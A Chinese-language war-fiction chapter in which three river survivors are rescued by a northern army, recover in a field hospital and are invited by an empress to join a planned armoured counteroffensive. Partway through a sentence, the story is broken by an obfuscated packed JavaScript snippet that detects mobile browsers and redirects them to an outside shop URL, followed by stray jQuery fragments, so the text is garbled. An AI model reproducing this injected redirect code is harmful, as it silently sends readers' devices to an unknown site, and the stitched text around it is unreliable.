至冬堡的河水是灰色的，寒冷刺骨，从城市北面的山口一路向南，穿过整座城市的中心，最后汇入更远处的冰海。河岸两侧用黑色花岗岩砌了防洪堤，堤面上覆盖着一层被车轮和马蹄反复碾压过的薄冰。三人在水中漂流了许久，身体在低温中逐渐失去知觉。最先被冲上岸的是阿罗夏，他被水流推到了一处较浅的河滩上，半个身子搁在岸边的碎石中，半个身子还浸在水里。他的白发在水面上散开，像一丛被河水冲刷的枯草。随后是空，他被一段倒伏的树干拦住，树干斜在河面上，树冠浸在水中，他在接近树干时用右手抓住了其中一根较粗的枝干，身体在惯性下转了半圈，最终停在了树干的内侧。何赤哲在更下游的位置被冲到了一个河湾的缓流区，那里的水流速度比主河道慢了许多，他在水中挣扎了几下，脚触到了河底的泥沙，然后踉跄着站起身，沿着浅水区向岸边走去。
冬契军的巡逻队首先发现了他们。那支巡逻队大约有十余人，穿着深灰色的冬季作战服，领口和袖口处缝着白色的防雪布条，头戴护耳冬帽，脚上穿着防滑靴。他们沿着河岸的防洪堤巡查，走在最前面的士兵看到了河滩上搁着一个人影，立刻停下脚步，举起了手中的枪。带队的军官从队伍中走出，蹲在堤岸边缘向下看，确认了河中还有两个正在向岸边移动的身影，才示意士兵们下堤救人。冬契军的士兵们滑下防洪堤，踩着河滩上的碎石和冰碴，将三人逐一从水中拖上岸。一名士兵从背上取下一卷干毛毯，将空裹住，另一名士兵将阿罗夏背在肩上，沿着河滩向堤岸方向走。何赤哲被两名士兵架着胳膊搀上了堤岸，他的嘴唇已经冻得发紫，手指在寒风中微微抽搐。
冬契军总司令薇斯纳正在河岸以东的临时指挥所里。她穿着一件深灰色的军大衣，腰间束着一条黑色皮带，皮带上挂着一柄短刀和一支手枪。她大约四十出头，身高中等偏高，身形匀称，肩宽腰细，金色的头发束在脑后，被冬帽压得有些散乱。她的面容棱角分明，鼻梁高挺，下颌线条利落，眼窝微陷，灰色的眼睛在烛光中显得格外锐利。她面前的桌上铺着一张标注了至冬堡周边防御工事的图纸，图纸边缘压着一只铜制的镇纸，上面刻着冬契军的徽记。她正在对照着图纸上的标注，与几名下属讨论防线的调整方案，一名副官从门外快步走进来，在她耳边低声说了几句话。薇斯纳放下手中的笔，站起身来，将图纸留在桌面上，大步走出了指挥所。
薇斯纳在指挥所外的空地前见到了被救上来的三人。他们已经被裹上了保暖的衣物，面前的雪地上生起了一堆篝火，火焰在风中摇晃着，发出持续的噼啪声。空靠在火堆旁的木桩上，双臂抱着膝盖，目光有些涣散。何赤哲坐在他对面，双手伸向火堆，手指的肤色正在从苍白转向红润。阿罗夏躺在一条铺了草垫的木板上，身上盖着两层厚毛毯，呼吸已经趋于平稳。薇斯纳在他们面前蹲下，目光从三人的面孔上逐一扫过。她先看的是空，那个金发的年轻人，身上穿的衣物虽然破损，但衣料的质地和裁剪的方式与至冬本地或大明百姓的衣物都有不同。然后是阿罗夏，那个白发少年，他身上的灰色作战服虽然经过了浸泡和磨损，但肩章上的标记依然清晰可辨——那是至冬军旧式山地部队的徽记。最后是何赤哲，那个面容瘦削、眼窝深陷的中年人，他的手指上布满老茧和旧伤，虎口处有一道刚刚结痂的裂口，那是长期握刀留下的痕迹。
“把他们带到后方医疗站去。”薇斯纳站起身来，对身旁的士兵说，“等他们恢复体力之后，再安排问话。”她说完后没有立刻离开，而是站在篝火旁看了一会儿，确认三人被抬上担架、沿着河岸向后方转移，才转身走回指挥所。
三人在医疗站里休养了三天。医疗站设在至冬堡东郊的一座旧仓库里，仓库的屋顶已经换过了新的木板和防水布，墙壁内部贴了一层保温材料，地面上铺着厚木板，用木炭炉取暖。医护人员用温水洗净了他们的伤口，换上了干净的绷带，又给他们服用了治疗冻伤和肺炎的药物。到了第二天，空已经能够坐起来，靠在床头上慢慢喝一碗热粥。何赤哲的体力恢复得更快一些，他甚至在医疗站的院子里走了几圈，活动了一下僵硬的关节。阿罗夏的肺里有轻微的积水，医生让他多躺了一天，到了第三天上午，他也坐了起来，靠在墙上用一块细布反复擦拭着自己的步枪。
第四天清晨，一支穿着深灰色制服、配有银白色袖章的卫队来到了医疗站。为首的是一个年轻的中尉，面容干净，举止有礼。他向三人转达了至冬女皇安娜丝塔夏的邀请，请他们到皇室内廷做客。空和何赤哲对视一眼，没有犹豫。阿罗夏将步枪背在肩上，跟在两人身后，三人随着卫队走出医疗站，沿着至冬堡的主街向城市中心方向行进。至冬堡的街道宽阔而整洁，路面由深色石板铺成，两侧的建筑大多采用石砌墙体，窗户窄而高，窗框上结着一层薄霜。街道两侧的行人不多，偶尔有几个穿着冬衣的市民走过，手中提着布袋或木桶，神色匆忙。街角的公告栏上贴着最新的战场简报，简报用至冬文和通用语双语书写，标题标注着“前线战报”，内容涉及近期在南线与多托雷帝国军交战的情况。
皇室所在的建筑位于城市中心的高地上，是一座由灰白色花岗岩砌成的建筑群，外墙上没有任何装饰性的雕花或壁画，只有几道横向的砌筑线条和入口处的两根石柱，是典型的实用主义建筑风格。建筑的窗户很小，排列规整，间距一致，从正面看过去，整座建筑如同一块从山体上切割下来的岩块，厚重而坚实。三人被引入建筑内部，穿过一条用石板铺就的长走廊，走廊两侧的墙壁上挂着几幅针织的挂毯，内容描绘的是至冬各地的山川和城市——有冰原上的极光，有冻土带的针叶林，有港口城市的码头和仓库。挂毯的色调以灰白和深蓝为主，间或有几抹赭石和暗红，似乎是手工编织的作品。
女皇安娜丝塔夏在二楼的会客厅里等候他们。会客厅不大，正中放着一张长桌，桌上铺着深色的桌布，桌上摆着几只瓷杯和一壶热茶，茶壶的壶嘴处冒出细长的蒸汽。墙壁上挂着一幅至冬全境的巨幅地图，地图上用不同颜色的图钉标注了各条战线的位置和兵力部署。女皇站在地图前，穿着一件深蓝色的长袍，衣料厚实，领口和袖口处缝着银灰色的滚边。她的头发是银白色的，束在脑后，用一根简单的木簪固定。她的面容与薇斯纳有几分相似，但线条更加柔和，颧骨较高，鼻梁挺直，灰色的眼睛在烛光中显得格外明亮。她的身旁站着薇斯纳，薇斯纳穿着一件裁剪合体的深灰色制服，肩章上缀着金色的金属徽记，腰间依然挂着那柄短刀和手枪。她看到三人走进来，微微颔首致意，没有多余的动作，只是将视线从地图上收回，落在他们身上。
女皇从地图前转过身来，走到长桌旁，抬手示意三人入座。“请坐。你们从莎卡琳格勒一路过来，穿过大半个战区，辛苦了。”她说话的声音不高，语速适中，语调平稳，没有官腔，也没有客套。她亲自提起茶壶，给三人各倒了一杯热茶，然后将茶壶放回桌上，自己也在长桌的主位上坐下。“我听说你们在莎卡琳格勒的活动。你们袭击了斯凯曼福勒的副将海因里瑟奇，这打乱了帝国军在那一带的指挥链。虽然你们失败了，但帝国军至少有三周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947496|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无法在莎卡琳格勒组织有效的清剿行动。这三周，足够我们做很多事。”她顿了顿，端起面前的茶杯喝了一口，然后放下杯子，将视线转向地图。“你们来的时候，看到外面的街道了吗？”
空点了点头。“看到了。街上人不多，但很整洁。公告栏上有战报。”
女皇将地图在桌面上展开，用手指沿着几条路线缓慢移动。“我们正在把位于前线的所有军事工业都迁移到大后方。”她的手指从地图上标注着“莎卡琳格勒”的位置向后方移动，停在标注着“至冬堡以北”的一片区域。“机械制造厂、弹药生产线、火炮装配车间——这些东西在前线太容易遭到帝国军空袭。我们已经把整条生产线拆解成部件，用铁路和马车分批运到后方。新的厂房正在至冬堡以北的山谷中重建，那里有天然的山体作为掩护，帝国军的轰炸机很难精确命中。”她的手指在北方山谷的位置停了一下，然后向西移动，划过一条标注为“运输走廊”的路线，“这条走廊连接着后方的铁矿、煤矿和新建的军工厂。我们的目标是，用三到五个月的时间，装备一支全新的钢铁部队——一支能够正面突破帝国军防线的重型突击力量。”
薇斯纳接过了话头。她的声音比女皇更低沉，语速更快，像是在作战会议上陈述方案：“这支部队的编制分为三个师。第一师是装甲突击师，装备重型履带式装甲车，车上搭载速射炮和机枪；第二师是机械化步兵师，配备装甲运兵车和步兵战车，用于跟随突击师扩大战果；第三师是远程火力师，装备大口径火炮和火箭炮，负责压制帝国军的后方阵地和补给线。”她从桌上拿起一根木制的指示棍，在地图上逐一点出三个师的位置和预定进攻路线。“目前，装甲突击师的底盘和车体正在后方工厂中装配，部分火炮已经就位，但发动机和传动装置的生产还受到原材料供应的限制。我们需要更多的钢铁，更多的熟练工人，以及更多的时间。”
空听完后，将茶杯握在手中，没有立刻说话。他想起在莎卡琳格勒的战斗，想起帝国军的喷火兵和装甲车，想起那些从废墟中升起的无人机和从远处射来的炮弹。“如果帝国军知道你们在后方集结重兵，他们会提前发动进攻，试图在部队整编完成之前打断你们的部署。”
女皇点了点头。“所以我们正在加强前线的防御，用现有的部队拖住帝国军的主力，给后方争取时间。同时，我们在各个战区寻找更多的盟友，联合所有的力量，发起一次全面的反攻。”她将地图重新折好，放在桌边，目光在三人身上逐一停留。“你们愿意加入吗？”
空将茶杯放回桌上，茶水在杯中轻轻晃动。他看了一眼何赤哲，何赤哲微微点头，没有开口，但态度已经表明。阿罗夏将步枪靠在桌边，双手放在膝上，目光落在女皇身后的地图上，像是在确认某处地形。他抬起头，简单地说了三个字：“我加入。”
女皇没有立刻回应，只是将目光从三人身上移开，转向地图，似乎在重新审视那条标注为“运输走廊”的路线和后方那些尚未完全建成的工厂。窗外的风从窄窗的缝隙中灌入，将桌上那张地图的边缘微微吹起。女皇伸手将地图压平，转身对薇斯纳说了一句简短的指令，薇斯纳领命走出会客厅，脚步声在走廊的石板地面上逐渐远去。女皇从桌边站起身，走到会客厅门口，一手扶着门框，回头看了一眼仍坐在桌边的三人。“今晚你们可以住在这里，好好休息。明天我会让人带你们去后方的工厂看看，让你们亲眼见到那支部队是怎么被造出来的。”她说完后转身走出会客厅，长袍的下摆在地面上轻轻拂过，门在她身后缓缓合拢。